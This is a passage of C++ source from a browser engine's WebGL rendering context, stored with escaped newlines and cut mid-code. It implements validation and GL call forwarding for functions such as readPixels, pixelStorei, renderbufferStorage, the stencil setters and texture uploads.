ContextGL()->IsFramebuffer(framebuffer->Object());\n}\n\nGLboolean WebGLRenderingContextBase::isProgram(WebGLProgram* program) {\n  if (!program || isContextLost() || !program->Validate(ContextGroup(), this))\n    return 0;\n\n  // OpenGL ES special-cases the behavior of program objects; if they're deleted\n  // while attached to the current context state, glIsProgram is supposed to\n  // still return true. For this reason, MarkedForDeletion is not checked here.\n\n  return ContextGL()->IsProgram(program->Object());\n}\n\nGLboolean WebGLRenderingContextBase::isRenderbuffer(\n    WebGLRenderbuffer* renderbuffer) {\n  if (!renderbuffer || isContextLost() ||\n      !renderbuffer->Validate(ContextGroup(), this))\n    return 0;\n\n  if (!renderbuffer->HasEverBeenBound())\n    return 0;\n  if (renderbuffer->MarkedForDeletion())\n    return 0;\n\n  return ContextGL()->IsRenderbuffer(renderbuffer->Object());\n}\n\nGLboolean WebGLRenderingContextBase::isShader(WebGLShader* shader) {\n  if (!shader || isContextLost() || !shader->Validate(ContextGroup(), this))\n    return 0;\n\n  // OpenGL ES special-cases the behavior of shader objects; if they're deleted\n  // while attached to a program, glIsShader is supposed to still return true.\n  // For this reason, MarkedForDeletion is not checked here.\n\n  return ContextGL()->IsShader(shader->Object());\n}\n\nGLboolean WebGLRenderingContextBase::isTexture(WebGLTexture* texture) {\n  if (!texture || isContextLost() || !texture->Validate(ContextGroup(), this))\n    return 0;\n\n  if (!texture->HasEverBeenBound())\n    return 0;\n  if (texture->MarkedForDeletion())\n    return 0;\n\n  return ContextGL()->IsTexture(texture->Object());\n}\n\nvoid WebGLRenderingContextBase::lineWidth(GLfloat width) {\n  if (isContextLost())\n    return;\n  ContextGL()->LineWidth(width);\n}\n\nvoid WebGLRenderingContextBase::linkProgram(WebGLProgram* program) {\n  if (!ValidateWebGLProgramOrShader(\"linkProgram\", program))\n    return;\n\n  if (program->ActiveTransformFeedbackCount() > 0) {\n    SynthesizeGLError(\n        GL_INVALID_OPERATION, \"linkProgram\",\n        \"program being used by one or more active transform feedback objects\");\n    return;\n  }\n\n  GLuint query = 0u;\n  if (ExtensionEnabled(kKHRParallelShaderCompileName)) {\n    ContextGL()->GenQueriesEXT(1, &query);\n    ContextGL()->BeginQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM, query);\n  }\n  ContextGL()->LinkProgram(ObjectOrZero(program));\n  if (ExtensionEnabled(kKHRParallelShaderCompileName)) {\n    ContextGL()->EndQueryEXT(GL_PROGRAM_COMPLETION_QUERY_CHROMIUM);\n    addProgramCompletionQuery(program, query);\n  }\n\n  program->IncreaseLinkCount();\n}\n\nvoid WebGLRenderingContextBase::pixelStorei(GLenum pname, GLint param) {\n  if (isContextLost())\n    return;\n  switch (pname) {\n    case GC3D_UNPACK_FLIP_Y_WEBGL:\n      unpack_flip_y_ = param;\n      break;\n    case GC3D_UNPACK_PREMULTIPLY_ALPHA_WEBGL:\n      unpack_premultiply_alpha_ = param;\n      break;\n    case GC3D_UNPACK_COLORSPACE_CONVERSION_WEBGL:\n      if (static_cast<GLenum>(param) == GC3D_BROWSER_DEFAULT_WEBGL ||\n          param == GL_NONE) {\n        unpack_colorspace_conversion_ = static_cast<GLenum>(param);\n      } else {\n        SynthesizeGLError(\n            GL_INVALID_VALUE, \"pixelStorei\",\n            \"invalid parameter for UNPACK_COLORSPACE_CONVERSION_WEBGL\");\n        return;\n      }\n      break;\n    case GL_PACK_ALIGNMENT:\n    case GL_UNPACK_ALIGNMENT:\n      if (param == 1 || param == 2 || param == 4 || param == 8) {\n        if (pname == GL_PACK_ALIGNMENT) {\n          pack_alignment_ = param;\n        } else {  // GL_UNPACK_ALIGNMENT:\n          unpack_alignment_ = param;\n        }\n        ContextGL()->PixelStorei(pname, param);\n      } else {\n        SynthesizeGLError(GL_INVALID_VALUE, \"pixelStorei\",\n                          \"invalid parameter for alignment\");\n        return;\n      }\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"pixelStorei\",\n                        \"invalid parameter name\");\n      return;\n  }\n}\n\nvoid WebGLRenderingContextBase::polygonOffset(GLfloat factor, GLfloat units) {\n  if (isContextLost())\n    return;\n  ContextGL()->PolygonOffset(factor, units);\n}\n\nbool WebGLRenderingContextBase::ValidateReadBufferAndGetInfo(\n    const char* function_name,\n    WebGLFramebuffer*& read_framebuffer_binding) {\n  read_framebuffer_binding = GetReadFramebufferBinding();\n  if (read_framebuffer_binding) {\n    const char* reason = \"framebuffer incomplete\";\n    if (read_framebuffer_binding->CheckDepthStencilStatus(&reason) !=\n        GL_FRAMEBUFFER_COMPLETE) {\n      SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, function_name,\n                        reason);\n      return false;\n    }\n  } else {\n    if (read_buffer_of_default_framebuffer_ == GL_NONE) {\n      DCHECK(IsWebGL2OrHigher());\n      SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                        \"no image to read from\");\n      return false;\n    }\n  }\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateReadPixelsFormatAndType(\n    GLenum format,\n    GLenum type,\n    DOMArrayBufferView* buffer) {\n  switch (format) {\n    case GL_ALPHA:\n    case GL_RGB:\n    case GL_RGBA:\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"readPixels\", \"invalid format\");\n      return false;\n  }\n\n  switch (type) {\n    case GL_UNSIGNED_BYTE:\n      if (buffer) {\n        auto bufferType = buffer->GetType();\n        if (bufferType != DOMArrayBufferView::kTypeUint8 &&\n            bufferType != DOMArrayBufferView::kTypeUint8Clamped) {\n          SynthesizeGLError(\n              GL_INVALID_OPERATION, \"readPixels\",\n              \"type UNSIGNED_BYTE but ArrayBufferView not Uint8Array or \"\n              \"Uint8ClampedArray\");\n          return false;\n        }\n      }\n      return true;\n    case GL_UNSIGNED_SHORT_5_6_5:\n    case GL_UNSIGNED_SHORT_4_4_4_4:\n    case GL_UNSIGNED_SHORT_5_5_5_1:\n      if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeUint16) {\n        SynthesizeGLError(\n            GL_INVALID_OPERATION, \"readPixels\",\n            \"type UNSIGNED_SHORT but ArrayBufferView not Uint16Array\");\n        return false;\n      }\n      return true;\n    case GL_FLOAT:\n      if (ExtensionEnabled(kOESTextureFloatName) ||\n          ExtensionEnabled(kOESTextureHalfFloatName)) {\n        if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeFloat32) {\n          SynthesizeGLError(GL_INVALID_OPERATION, \"readPixels\",\n                            \"type FLOAT but ArrayBufferView not Float32Array\");\n          return false;\n        }\n        return true;\n      }\n      SynthesizeGLError(GL_INVALID_ENUM, \"readPixels\", \"invalid type\");\n      return false;\n    case GL_HALF_FLOAT_OES:\n      if (ExtensionEnabled(kOESTextureHalfFloatName)) {\n        if (buffer && buffer->GetType() != DOMArrayBufferView::kTypeUint16) {\n          SynthesizeGLError(\n              GL_INVALID_OPERATION, \"readPixels\",\n              \"type HALF_FLOAT_OES but ArrayBufferView not Uint16Array\");\n          return false;\n        }\n        return true;\n      }\n      SynthesizeGLError(GL_INVALID_ENUM, \"readPixels\", \"invalid type\");\n      return false;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"readPixels\", \"invalid type\");\n      return false;\n  }\n}\n\nWebGLImageConversion::PixelStoreParams\nWebGLRenderingContextBase::GetPackPixelStoreParams() {\n  WebGLImageConversion::PixelStoreParams params;\n  params.alignment = pack_alignment_;\n  return params;\n}\n\nWebGLImageConversion::PixelStoreParams\nWebGLRenderingContextBase::GetUnpackPixelStoreParams(TexImageDimension) {\n  WebGLImageConversion::PixelStoreParams params;\n  params.alignment = unpack_alignment_;\n  return params;\n}\n\nbool WebGLRenderingContextBase::ValidateReadPixelsFuncParameters(\n    GLsizei width,\n    GLsizei height,\n    GLenum format,\n    GLenum type,\n    DOMArrayBufferView* buffer,\n    int64_t buffer_size) {\n  if (!ValidateReadPixelsFormatAndType(format, type, buffer))\n    return false;\n\n  // Calculate array size, taking into consideration of pack parameters.\n  unsigned total_bytes_required = 0, total_skip_bytes = 0;\n  GLenum error = WebGLImageConversion::ComputeImageSizeInBytes(\n      format, type, width, height, 1, GetPackPixelStoreParams(),\n      &total_bytes_required, nullptr, &total_skip_bytes);\n  if (error != GL_NO_ERROR) {\n    SynthesizeGLError(error, \"readPixels\", \"invalid dimensions\");\n    return false;\n  }\n  if (buffer_size <\n      static_cast<int64_t>(total_bytes_required + total_skip_bytes)) {\n    SynthesizeGLError(GL_INVALID_OPERATION, \"readPixels\",\n                      \"buffer is not large enough for dimensions\");\n    return false;\n  }\n  return true;\n}\n\nvoid WebGLRenderingContextBase::readPixels(\n    GLint x,\n    GLint y,\n    GLsizei width,\n    GLsizei height,\n    GLenum format,\n    GLenum type,\n    MaybeShared<DOMArrayBufferView> pixels) {\n  ReadPixelsHelper(x, y, width, height, format, type, pixels.View(), 0);\n}\n\nvoid WebGLRenderingContextBase::ReadPixelsHelper(GLint x,\n                                                 GLint y,\n                                                 GLsizei width,\n                                                 GLsizei height,\n                                                 GLenum format,\n                                                 GLenum type,\n                                                 DOMArrayBufferView* pixels,\n                                                 int64_t offset) {\n  if (isContextLost())\n    return;\n  // Due to WebGL's same-origin restrictions, it is not possible to\n  // taint the origin using the WebGL API.\n  DCHECK(Host()->OriginClean());\n\n  // Validate input parameters.\n  if (!pixels) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"readPixels\",\n                      \"no destination ArrayBufferView\");\n    return;\n  }\n  base::CheckedNumeric<GLuint> offset_in_bytes = offset;\n  offset_in_bytes *= pixels->TypeSize();\n  if (!offset_in_bytes.IsValid() ||\n      static_cast<size_t>(offset_in_bytes.ValueOrDie()) >\n          pixels->byteLengthAsSizeT()) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"readPixels\",\n                      \"destination offset out of range\");\n    return;\n  }\n  const char* reason = \"framebuffer incomplete\";\n  WebGLFramebuffer* framebuffer = GetReadFramebufferBinding();\n  if (framebuffer && framebuffer->CheckDepthStencilStatus(&reason) !=\n                         GL_FRAMEBUFFER_COMPLETE) {\n    SynthesizeGLError(GL_INVALID_FRAMEBUFFER_OPERATION, \"readPixels\", reason);\n    return;\n  }\n  base::CheckedNumeric<GLuint> buffer_size =\n      pixels->byteLengthAsSizeT() - offset_in_bytes;\n  if (!buffer_size.IsValid()) {\n    SynthesizeGLError(GL_INVALID_VALUE, \"readPixels\",\n                      \"destination offset out of range\");\n    return;\n  }\n  if (!ValidateReadPixelsFuncParameters(width, height, format, type, pixels,\n                                        buffer_size.ValueOrDie())) {\n    return;\n  }\n  ClearIfComposited();\n\n  uint8_t* data = static_cast<uint8_t*>(pixels->BaseAddressMaybeShared()) +\n                  offset_in_bytes.ValueOrDie();\n\n  // We add special handling here if the 'ArrayBufferView' is size '0' and the\n  // backing store is 'nullptr'. 'ReadPixels' creates an error if the provided\n  // data is 'nullptr'. However, in the case that we want to read zero pixels,\n  // we want to avoid this error. Therefore we provide temporary memory here if\n  // 'ArrayBufferView' does not provide a backing store but we actually read\n  // zero pixels.\n  base::Optional<Vector<uint8_t>> buffer;\n  if (!data && (width == 0 || height == 0)) {\n    buffer.emplace(32);\n    data = buffer->data();\n  }\n  {\n    ScopedDrawingBufferBinder binder(GetDrawingBuffer(), framebuffer);\n    ContextGL()->ReadPixels(x, y, width, height, format, type, data);\n  }\n}\n\nvoid WebGLRenderingContextBase::RenderbufferStorageImpl(\n    GLenum target,\n    GLsizei samples,\n    GLenum internalformat,\n    GLsizei width,\n    GLsizei height,\n    const char* function_name) {\n  DCHECK(!samples);             // |samples| > 0 is only valid in WebGL2's\n                                // renderbufferStorageMultisample().\n  DCHECK(!IsWebGL2OrHigher());  // Make sure this is overridden in WebGL 2.\n  switch (internalformat) {\n    case GL_DEPTH_COMPONENT16:\n    case GL_RGBA4:\n    case GL_RGB5_A1:\n    case GL_RGB565:\n    case GL_STENCIL_INDEX8:\n      ContextGL()->RenderbufferStorage(target, internalformat, width, height);\n      renderbuffer_binding_->SetInternalFormat(internalformat);\n      renderbuffer_binding_->SetSize(width, height);\n      break;\n    case GL_SRGB8_ALPHA8_EXT:\n      if (!ExtensionEnabled(kEXTsRGBName)) {\n        SynthesizeGLError(GL_INVALID_ENUM, function_name, \"sRGB not enabled\");\n        break;\n      }\n      ContextGL()->RenderbufferStorage(target, internalformat, width, height);\n      renderbuffer_binding_->SetInternalFormat(internalformat);\n      renderbuffer_binding_->SetSize(width, height);\n      break;\n    case GL_DEPTH_STENCIL_OES:\n      DCHECK(IsDepthStencilSupported());\n      ContextGL()->RenderbufferStorage(target, GL_DEPTH24_STENCIL8_OES, width,\n                                       height);\n      renderbuffer_binding_->SetSize(width, height);\n      renderbuffer_binding_->SetInternalFormat(internalformat);\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, function_name,\n                        \"invalid internalformat\");\n      break;\n  }\n  UpdateNumberOfUserAllocatedMultisampledRenderbuffers(\n      renderbuffer_binding_->UpdateMultisampleState(false));\n}\n\nvoid WebGLRenderingContextBase::renderbufferStorage(GLenum target,\n                                                    GLenum internalformat,\n                                                    GLsizei width,\n                                                    GLsizei height) {\n  const char* function_name = \"renderbufferStorage\";\n  if (isContextLost())\n    return;\n  if (target != GL_RENDERBUFFER) {\n    SynthesizeGLError(GL_INVALID_ENUM, function_name, \"invalid target\");\n    return;\n  }\n  if (!renderbuffer_binding_ || !renderbuffer_binding_->Object()) {\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      \"no bound renderbuffer\");\n    return;\n  }\n  if (!ValidateSize(function_name, width, height))\n    return;\n  RenderbufferStorageImpl(target, 0, internalformat, width, height,\n                          function_name);\n  ApplyStencilTest();\n}\n\nvoid WebGLRenderingContextBase::sampleCoverage(GLfloat value,\n                                               GLboolean invert) {\n  if (isContextLost())\n    return;\n  ContextGL()->SampleCoverage(value, invert);\n}\n\nvoid WebGLRenderingContextBase::scissor(GLint x,\n                                        GLint y,\n                                        GLsizei width,\n                                        GLsizei height) {\n  if (isContextLost())\n    return;\n  scissor_box_[0] = x;\n  scissor_box_[1] = y;\n  scissor_box_[2] = width;\n  scissor_box_[3] = height;\n  ContextGL()->Scissor(x, y, width, height);\n}\n\nvoid WebGLRenderingContextBase::shaderSource(WebGLShader* shader,\n                                             const String& string) {\n  if (!ValidateWebGLProgramOrShader(\"shaderSource\", shader))\n    return;\n  String string_without_comments = StripComments(string).Result();\n  // TODO(danakj): Make validateShaderSource reject characters > 255 (or utf16\n  // Strings) so we don't need to use StringUTF8Adaptor.\n  if (!ValidateShaderSource(string_without_comments))\n    return;\n  shader->SetSource(string);\n  WTF::StringUTF8Adaptor adaptor(string_without_comments);\n  const GLchar* shader_data = adaptor.data();\n  // TODO(danakj): Use base::saturated_cast<GLint>.\n  const GLint shader_length = adaptor.size();\n  ContextGL()->ShaderSource(ObjectOrZero(shader), 1, &shader_data,\n                            &shader_length);\n}\n\nvoid WebGLRenderingContextBase::stencilFunc(GLenum func,\n                                            GLint ref,\n                                            GLuint mask) {\n  if (isContextLost())\n    return;\n  if (!ValidateStencilOrDepthFunc(\"stencilFunc\", func))\n    return;\n  stencil_func_ref_ = ref;\n  stencil_func_ref_back_ = ref;\n  stencil_func_mask_ = mask;\n  stencil_func_mask_back_ = mask;\n  ContextGL()->StencilFunc(func, ref, mask);\n}\n\nvoid WebGLRenderingContextBase::stencilFuncSeparate(GLenum face,\n                                                    GLenum func,\n                                                    GLint ref,\n                                                    GLuint mask) {\n  if (isContextLost())\n    return;\n  if (!ValidateStencilOrDepthFunc(\"stencilFuncSeparate\", func))\n    return;\n  switch (face) {\n    case GL_FRONT_AND_BACK:\n      stencil_func_ref_ = ref;\n      stencil_func_ref_back_ = ref;\n      stencil_func_mask_ = mask;\n      stencil_func_mask_back_ = mask;\n      break;\n    case GL_FRONT:\n      stencil_func_ref_ = ref;\n      stencil_func_mask_ = mask;\n      break;\n    case GL_BACK:\n      stencil_func_ref_back_ = ref;\n      stencil_func_mask_back_ = mask;\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"stencilFuncSeparate\", \"invalid face\");\n      return;\n  }\n  ContextGL()->StencilFuncSeparate(face, func, ref, mask);\n}\n\nvoid WebGLRenderingContextBase::stencilMask(GLuint mask) {\n  if (isContextLost())\n    return;\n  stencil_mask_ = mask;\n  stencil_mask_back_ = mask;\n  ContextGL()->StencilMask(mask);\n}\n\nvoid WebGLRenderingContextBase::stencilMaskSeparate(GLenum face, GLuint mask) {\n  if (isContextLost())\n    return;\n  switch (face) {\n    case GL_FRONT_AND_BACK:\n      stencil_mask_ = mask;\n      stencil_mask_back_ = mask;\n      break;\n    case GL_FRONT:\n      stencil_mask_ = mask;\n      break;\n    case GL_BACK:\n      stencil_mask_back_ = mask;\n      break;\n    default:\n      SynthesizeGLError(GL_INVALID_ENUM, \"stencilMaskSeparate\", \"invalid face\");\n      return;\n  }\n  ContextGL()->StencilMaskSeparate(face, mask);\n}\n\nvoid WebGLRenderingContextBase::stencilOp(GLenum fail,\n                                          GLenum zfail,\n                                          GLenum zpass) {\n  if (isContextLost())\n    return;\n  ContextGL()->StencilOp(fail, zfail, zpass);\n}\n\nvoid WebGLRenderingContextBase::stencilOpSeparate(GLenum face,\n                                                  GLenum fail,\n                                                  GLenum zfail,\n                                                  GLenum zpass) {\n  if (isContextLost())\n    return;\n  ContextGL()->StencilOpSeparate(face, fail, zfail, zpass);\n}\n\nGLenum WebGLRenderingContextBase::ConvertTexInternalFormat(\n    GLenum internalformat,\n    GLenum type) {\n  // Convert to sized internal formats that are renderable with\n  // GL_CHROMIUM_color_buffer_float_rgb(a).\n  if (type == GL_FLOAT && internalformat == GL_RGBA &&\n      ExtensionsUtil()->IsExtensionEnabled(\n          \"GL_CHROMIUM_color_buffer_float_rgba\"))\n    return GL_RGBA32F_EXT;\n  if (type == GL_FLOAT && internalformat == GL_RGB &&\n      ExtensionsUtil()->IsExtensionEnabled(\n          \"GL_CHROMIUM_color_buffer_float_rgb\"))\n    return GL_RGB32F_EXT;\n  return internalformat;\n}\n\nvoid WebGLRenderingContextBase::TexImage2DBase(GLenum target,\n                                               GLint level,\n                                               GLint internalformat,\n                                               GLsizei width,\n                                               GLsizei height,\n                                               GLint border,\n                                               GLenum format,\n                                               GLenum type,\n                                               const void* pixels) {\n  // All calling functions check isContextLost, so a duplicate check is not\n  // needed here.\n  ContextGL()->TexImage2D(target, level,\n                          ConvertTexInternalFormat(internalformat, type), width,\n                          height, border, format, type, pixels);\n}\n\n// Software-based upload of Image* to WebGL texture.\nvoid WebGLRenderingContextBase::TexImageImpl(\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    GLenum format,\n    GLenum type,\n    Image* image,\n    WebGLImageConversion::ImageHtmlDomSource dom_source,\n    bool flip_y,\n    bool premultiply_alpha,\n    const IntRect& source_image_rect,\n    GLsizei depth,\n    GLint unpack_image_height) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  // All calling functions check isContextLost, so a duplicate check is not\n  // needed here.\n  if (type == GL_UNSIGNED_INT_10F_11F_11F_REV) {\n    // The UNSIGNED_INT_10F_11F_11F_REV type pack/unpack isn't implemented.\n    type = GL_FLOAT;\n  }\n  Vector<uint8_t> data;\n\n  IntRect sub_rect = source_image_rect;\n  if (sub_rect.IsValid() && sub_rect == SentinelEmptyRect()) {\n    // Recalculate based on the size of the Image.\n    sub_rect = SafeGetImageSize(image);\n  }\n\n  bool selecting_sub_rectangle = false;\n  if (!ValidateTexImageSubRectangle(func_name, function_id, image, sub_rect,\n                                    depth, unpack_image_height,\n                                    &selecting_sub_rectangle)) {\n    return;\n  }\n\n  // Adjust the source image rectangle if doing a y-flip.\n  IntRect adjusted_source_image_rect = sub_rect;\n  if (flip_y) {\n    adjusted_source_image_rect.SetY(image->height() -\n                                    adjusted_source_image_rect.MaxY());\n  }\n\n  WebGLImageConversion::ImageExtractor image_extractor(\n      image, dom_source, premultiply_alpha,\n      unpack_colorspace_conversion_ == GL_NONE);\n  if (!image_extractor.ImagePixelData()) {\n    SynthesizeGLError(GL_INVALID_VALUE, func_name, \"bad image data\");\n    return;\n  }\n\n  WebGLImageConversion::DataFormat source_data_format =\n      image_extractor.ImageSourceFormat();\n  WebGLImageConversion::AlphaOp alpha_op = image_extractor.ImageAlphaOp();\n  const void* image_pixel_data = image_extractor.ImagePixelData();\n\n  bool need_conversion = true;\n  if (type == GL_UNSIGNED_BYTE &&\n      source_data_format == WebGLImageConversion::kDataFormatRGBA8 &&\n      format == GL_RGBA && alpha_op == WebGLImageConversion::kAlphaDoNothing &&\n      !flip_y && !selecting_sub_rectangle && depth == 1) {\n    need_conversion = false;\n  } else {\n    if (!WebGLImageConversion::PackImageData(\n            image, image_pixel_data, format, type, flip_y, alpha_op,\n            source_data_format, image_extractor.ImageWidth(),\n            image_extractor.ImageHeight(), adjusted_source_image_rect, depth,\n            image_extractor.ImageSourceUnpackAlignment(), unpack_image_height,\n            data)) {\n      SynthesizeGLError(GL_INVALID_VALUE, func_name, \"packImage error\");\n      return;\n    }\n  }\n\n  ScopedUnpackParametersResetRestore temporary_reset_unpack(this);\n  if (function_id == kTexImage2D) {\n    TexImage2DBase(target, level, internalformat,\n                   adjusted_source_image_rect.Width(),\n                   adjusted_source_image_rect.Height(), 0, format, type,\n                   need_conversion ? data.data() : image_pixel_data);\n  } else if (function_id == kTexSubImage2D) {\n    ContextGL()->TexSubImage2D(\n        target, level, xoffset, yoffset, adjusted_source_image_rect.Width(),\n        adjusted_source_image_rect.Height(), format, type,\n        need_conversion ? data.data() : image_pixel_data);\n  } else {\n    // 3D functions.\n    if (function_id == kTexImage3D) {\n      ContextGL()->TexImage3D(\n          target, level, internalformat, adjusted_source_image_rect.Width(),\n          adjusted_source_image_rect.Height(), depth, 0, format, type,\n          need_conversion ? data.data() : image_pixel_data);\n    } else {\n      DCHECK_EQ(function_id, kTexSubImage3D);\n      ContextGL()->TexSubImage3D(\n          target, level, xoffset, yoffset, zoffset,\n          adjusted_source_image_rect.Width(),\n          adjusted_source_image_rect.Height(), depth, format, type,\n          need_conversion ? data.data() : image_pixel_data);\n    }\n  }\n}\n\nbool WebGLRenderingContextBase::ValidateTexFunc(\n    const char* function_name,\n    TexImageFunctionType function_type,\n    TexFuncValidationSourceType source_type,\n    GLenum target,\n    GLint level,\n    GLenum internalformat,\n    GLsizei width,\n    GLsizei height,\n    GLsizei depth,\n    GLint border,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset) {\n  if (!ValidateTexFuncLevel(function_name, target, level))\n    return false;\n\n  if (!ValidateTexFuncParameters(function_name, function_type, source_type,\n                                 target, level, internalformat, width, height,\n                                 depth, border, format, type))\n    return false;\n\n  if (function_type == kTexSubImage) {\n    if (!ValidateSettableTexFormat(function_name, format))\n      return false;\n    if (!ValidateSize(function_name, xoffset, yoffset, zoffset))\n      return false;\n  } else {\n    // For SourceArrayBufferView, function validateTexFuncData() would handle\n    // whether to validate the SettableTexFormat\n    // by checking if the ArrayBufferView is null or not.\n    if (source_type != kSourceArrayBufferView) {\n      if (!ValidateSettableTexFormat(function_name, format))\n        return false;\n    }\n  }\n\n  return true;\n}\n\nbool WebGLRenderingContextBase::ValidateValueFitNonNegInt32(\n    const char* function_name,\n    const char* param_name,\n    int64_t value) {\n  if (value < 0) {\n    String error_msg = String(param_name) + \" < 0\";\n    SynthesizeGLError(GL_INVALID_VALUE, function_name,\n                      error_msg.Ascii().c_str());\n    return false;\n  }\n  if (value > static_cast<int64_t>(std::numeric_limits<int>::max())) {\n    String error_msg = String(param_name) + \" more than 32-bit\";\n    SynthesizeGLError(GL_INVALID_OPERATION, function_name,\n                      error_msg.Ascii().c_str());\n    return false;\n  }\n  return true;\n}\n\n// TODO(fmalita): figure why WebGLImageConversion::ImageExtractor can't handle\n// SVG-backed images, and get rid of this intermediate step.\nscoped_refptr<Image> WebGLRenderingContextBase::DrawImageIntoBuffer(\n    scoped_refptr<Image> pass_image,\n    int width,\n    int height,\n    const char* function_name) {\n  scoped_refptr<Image> image(std::move(pass_image));\n  DCHECK(image);\n\n  IntSize size(width, height);\n  CanvasResourceProvider* resource_provider =\n      generated_image_cache_.GetCanvasResourceProvider(size);\n  if (!resource_provider) {\n    SynthesizeGLError(GL_OUT_OF_MEMORY, function_name, \"out of memory\");\n    return nullptr;\n  }\n\n  if (!image->CurrentFrameKnownToBeOpaque())\n    resource_provider->Canvas()->clear(SK_ColorTRANSPARENT);\n\n  IntRect src_rect(IntPoint(), image->Size());\n  IntRect dest_rect(0, 0, size.Width(), size.Height());\n  PaintFlags flags;\n  // TODO(ccameron): WebGL should produce sRGB images.\n  // https://crbug.com/672299\n  image->Draw(resource_provider->Canvas(), flags, FloatRect(dest_rect),\n              FloatRect(src_rect), kRespectImageOrientation,\n              Image::kDoNotClampImageToSourceRect, Image::kSyncDecode);\n  return resource_provider->Snapshot();\n}\n\nWebGLTexture* WebGLRenderingContextBase::ValidateTexImageBinding(\n    const char* func_name,\n    TexImageFunctionID function_id,\n    GLenum target) {\n  return ValidateTexture2DBinding(func_name, target);\n}\n\nconst char* WebGLRenderingContextBase::GetTexImageFunctionName(\n    TexImageFunctionID func_name) {\n  switch (func_name) {\n    case kTexImage2D:\n      return \"texImage2D\";\n    case kTexSubImage2D:\n      return \"texSubImage2D\";\n    case kTexSubImage3D:\n      return \"texSubImage3D\";\n    case kTexImage3D:\n      return \"texImage3D\";\n    default:  // Adding default to prevent compile error\n      return \"\";\n  }\n}\n\nIntRect WebGLRenderingContextBase::SentinelEmptyRect() {\n  // Return a rectangle with -1 width and height so we can recognize\n  // it later and recalculate it based on the Image whose data we'll\n  // upload. It's important that there be no possible differences in\n  // the logic which computes the image's size.\n  return IntRect(0, 0, -1, -1);\n}\n\nIntRect WebGLRenderingContextBase::SafeGetImageSize(Image* image) {\n  if (!image)\n    return IntRect();\n\n  return GetTextureSourceSize(image);\n}\n\nIntRect WebGLRenderingContextBase::GetImageDataSize(ImageData* pixels) {\n  DCHECK(pixels);\n  return GetTextureSourceSize(pixels);\n}\n\nvoid WebGLRenderingContextBase::TexImageHelperDOMArrayBufferView(\n    TexImageFunctionID function_id,\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLsizei width,\n    GLsizei height,\n    GLsizei depth,\n    GLint border,\n    GLenum format,\n    GLenum type,\n    GLint xoffset,\n    GLint yoffset,\n    GLint zoffset,\n    DOMArrayBufferView* pixels,\n    NullDisposition null_disposition,\n    GLuint src_offset) {\n  const char* func_name = GetTexImageFunctionName(function_id);\n  if (isContextLost())\n    return;\n  if (!ValidateTexImageBinding(func_name, function_id, target))\n    return;\n  TexImageFunctionType function_type;\n  if (function_id == kTexImage2D || function_id == kTexImage3D)\n    function_type = kTexImage;\n  else\n    function_type = kTexSubImage;\n  if (!ValidateTexFunc(func_name, function_type, kSourceArrayBufferView, target,\n                       level, internalformat, width, height, depth, border,\n                       format, type, xoffset, yoffset, zoffset))\n    return;\n  TexImageDimension source_type;\n  if (function_id == kTexImage2D || function_id == kTexSubImage2D)\n    source_type = kTex2D;\n  else\n    source_type = kTex3D;\n  if (!ValidateTexFuncData(func_name, source_type, level, width, height, depth,\n                           format, type, pixels, null_disposition, src_offset))\n    return;\n  uint8_t* data = reinterpret_cast<uint8_t*>(\n      pixels ? pixels->BaseAddressMaybeShared() : nullptr);\n  if (src_offset) {\n    DCHECK(pixels);\n    // No need to check overflow because validateTexFuncData() already did.\n    data += src_offset * pixels->TypeSize();\n  }\n  Vector<uint8_t> temp_data;\n  bool change_unpack_params = false;\n  if (data && width && height &&\n      (unpack_flip_y_ || unpack_premultiply_alpha_)) {\n    DCHECK_EQ(kTex2D, source_type);\n    // Only enter here if width or height is non-zero. Otherwise, call to the\n    // underlying driver to generate appropriate GL errors if needed.\n    WebGLImageConversion::PixelStoreParams unpack_params =\n        GetUnpackPixelStoreParams(kTex2D);\n    GLint data_store_width =\n        unpack_params.row_length ? unpack_params.row_length : width;\n    if (unpack_params.skip_pixels + width > data_store_width) {\n      SynthesizeGLError(GL_INVALID_OPERATION, func_name,\n                        \"Invalid unpack params combination.\");\n      return;\n    }\n    if (!WebGLImageConversion::ExtractTextureData(\n            width, height, format, type, unpack_params, unpack_flip_y_,\n            unpack_premultiply_alpha_, data, temp_data)) {\n      SynthesizeGLError(GL_INVALID_OPERATION, func_name,\n                        \"Invalid format/type combination.\");\n      return;\n    }\n    data = temp_data.data();\n    change_unpack_params = true;\n  }\n  if (function_id == kTexImage3D) {\n    ContextGL()->TexImage3D(target, level,\n                            ConvertTexInternalFormat(internalformat, type),\n                            width, height, depth, border, format, type, data);\n    return;\n  }\n  if (function_id == kTexSubImage3D) {\n    ContextGL()->TexSubImage3D(target, level, xoffset, yoffset, zoffset, width,\n                               height, depth, format, type, data);\n    return;\n  }\n\n  ScopedUnpackParametersResetRestore temporary_reset_unpack(\n      this, change_unpack_params);\n  if (function_id == kTexImage2D)\n    TexImage2DBase(target, level, internalformat, width, height, border, format,\n                   type, data);\n  else if (function_id == kTexSubImage2D)\n    ContextGL()->TexSubImage2D(target, level, xoffset, yoffset, width, height,\n                               format, type, data);\n}\n\nvoid WebGLRenderingContextBase::texImage2D(\n    GLenum target,\n    GLint level,\n    GLint internalformat,\n    GLsizei width,\n    GLsizei height,\n    GLint border,\n    GLenum format,\n    GLenum type,\n    MaybeShared<DOMArrayBufferView> pixels) {\n  TexImageHelperDOMArrayBufferView(kTexImage2D, target, level, internalformat,\n                                   width, height, 1, border, format, type, 0, 0,\n                                   0, pixels.View(), kNullAllowed, 0);\n}\n\nvoid 